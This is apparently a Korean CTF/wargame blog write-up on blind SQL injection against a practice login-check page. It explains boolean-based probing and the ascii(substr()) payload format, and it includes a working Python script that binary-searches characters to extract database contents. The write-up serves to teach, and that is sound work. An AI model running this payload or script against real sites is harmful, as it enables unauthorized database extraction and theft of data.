ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SQL Injection - Blind Practice
    wargame/segfault 2024. 6. 17. 10:36

     

     

    목표: id 중복 검사를 하는 페이지에서 flag를 찾는 것이다.

     

     

    실습 페이지기 때문에 Blind SQL Injection을 하면 되지만, 쿼리 결과가 출력되지 않기 때문에 Union sqli를 사용할 수 없으며, 에러가 발생하는지 확인해야한다. 물론 SQL Injection이 가능하다면 모든 곳에 Blind SQLi가 가능하지만 Error Based SQLi가 가능하다면 그것을 사용하는 것이 더욱 효율적이기 때문이다.

     

    일단 id 중복 검사이기 때문에 select문에 where id가 있을 것이고 like 연산자는 사용되지 않았을 것이라고 추정한다. 물론 실습 사이트기 때문에 페이지 아래에 sql query문을 표시해주고 있지만 없다고 가정하더라도 충분히 추정가능하다.

    # SELECT id from member WHERE id='___'
    # 추정

     

    SQL Injection 가능성 확인

    # normaltic' and '1'='1		을 삽입한다.
    
    # SELECT id from member WHERE id='___'
    # SELECT id from member WHERE id='normaltic' and '1'='1'	이 된다

     

     

    정상적으로 결과가 출력되는 것을 보아 SQL Injection이 가능하다고 판단된다.

     


     

    그렇다면 여기에 normaltic'을 삽입해서 에러가 출력되는지 확인해본다.

    # normaltic'		을 삽입한다.
    
    # SELECT id from member WHERE id='___'
    # SELECT id from member WHERE id='normaltic''	이 된다

     

     

    그러나 정상적으로 출력되지 않으며, 에러도 출력되지 않는다. 따라서 Error Based SQLi도 불가능하다.

     


    SQL Injection을 이용해 Flag 찾기

     

    1. select 문 사용 가능한지 확인

     

     

    괄호에 참과 거짓에 해당하는 부분을 넣어 올바르게 참과 거짓이 출력되는지 확인한다. 그 다음 괄호 안에 select문을 활용해서 select 문자열이 필터링 되지 않는지 확인하는 것이 좋다.

     

    select문도 정상적으로 사용이 가능하고, 참과 거짓 또한 제대로 출력되는 것을 알 수 있다.

     


    2. 공격 format 만들기

    /*
    normaltic' and (____) and '1'='1
    에  substr((____),1,1)    을 넣는다
    normaltic' and (substr((____),1,1)) and '1'='1
    substr()을 ascii()로 감싸고 그 값을 > 0 으로 비교한다.
    normaltic' and (ascii(substr((____),1,1)) > 0) and '1'='1
    */

     

    맨 마지막 줄의 ___ 에 원하는 select문을 입력하고 첫번째 글자부터 ascii 값을 확인하면 된다.

    만약 select 'normaltic' 을 실행했다면, substr함수로 인해 n이 선택되고 그 값이 ascii 함수로 인해 정수로 변환되어 그 값을 비교함으로써 문자를 하나하나씩 알아내는 것이다. 데이터에 사용되는 문자의 값은 33부터 127이기에 그 값을 이진검색을 활용하여 비교하면 된다. 예컨대 먼저 80을 비교해보고 참이 나온다면 80과 127 사이에 있는 값으로 다시 비교해보고 결국 거짓이 나오는 가장 낮은 값이 바로 우리가 찾는 데이터이다. 이런 식으로 첫번째 글자를 찾고 그 다음 substr의 두번째 파라미터를 2로 변경하면서 그 다음 문자를 찾으면 된다. 추가로 ascii 값이 0보다 크다고 했을 때 참이면 존재하는 것이고, 거짓이면 존재하지 않는 것이므로 어디까지 존재하는지 확인이 가능하다.

     

     

    이 다음 부터는

     

    3. DB 이름 찾기

    4. Table 이름 찾기

    5. Column 이름 찾기

    6. Data 추출하기

     

    를 순서대로 '노가다' 하면 된다.

     


    물론 자동화가 가능하기 때문에 python으로 자동화를 했다. 코드가 아직 정리되진 않았지만 추후에 수정해서 깔끔하게 만들도록 하겠다.

    이진검색을 구현하려고 시도했다.

    import requests
    
    url = "http://ctf.segfaulthub.com:1020/sqlInjection5_1.php"
    
    print("프로그램 시작")
    
    while True:
        print('종료하시려면 \'quit\' 를 입력해주세요')
    
        sql_statement = input("select문 입력 > ")
        if (sql_statement == 'quit'):
            break
    
        extracted_data = ''
    
        format = "normaltic' and (ascii(substr(({}),1,1)) > 0) and '1'='1".format(sql_statement)    
    
        param = {"query":format}
    
        response = requests.post(url, data=param)
    
        if "존재하지 않는아이디입니다." in response.text:
            print("데이터가 없습니다.")
            continue
    
        i = 1 # data index
        while True:
            char_again = True
            bottom = 32
            top = 128
    
            format = "normaltic' and (ascii(substr(({}),{},1)) > 0) and '1'='1".format(sql_statement,i)    
            param = {"query":format}
            response = requests.post(url, data=param)
    
            if "존재하지 않는아이디입니다." in response.text:
                char_again = False
                break
    
            while True:
                j = int((top+bottom)/2)
                format = "normaltic' and (ascii(substr(({}),{},1)) > {}) and '1'='1".format(sql_statement,i,j)    
                param = {"query":format}
                response = requests.post(url, data=param)
    
                if ((top-bottom)<=2):
                    for k in range(0,3):
                        format = "normaltic' and (ascii(substr(({}),{},1)) > {}) and '1'='1".format(sql_statement,i,j+k)    
                        param = {"query":format}
                        response = requests.post(url, data=param)
                        if "존재하지 않는아이디입니다." in response.text:
                            extracted_data += chr(j+k)
                            i += 1
                            break
                    break
                
                if "존재하지 않는아이디입니다." in response.text: # 32 ~ 80
                    top = j
                else:
                    bottom = j
        
        print(extracted_data)

     

    flag 획득 완료!

    'wargame > segfault' 카테고리의 다른 글

    SQL Injection - 4  (0) 2024.06.17
    SQL Injection - 3  (0) 2024.06.17
    SQL Injection - Error Based SQLi Basic  (0) 2024.06.17
    SQL Injection - 2  (0) 2024.06.17
    SQL Injection - 1  (0) 2024.06.17
Designed by Tistory.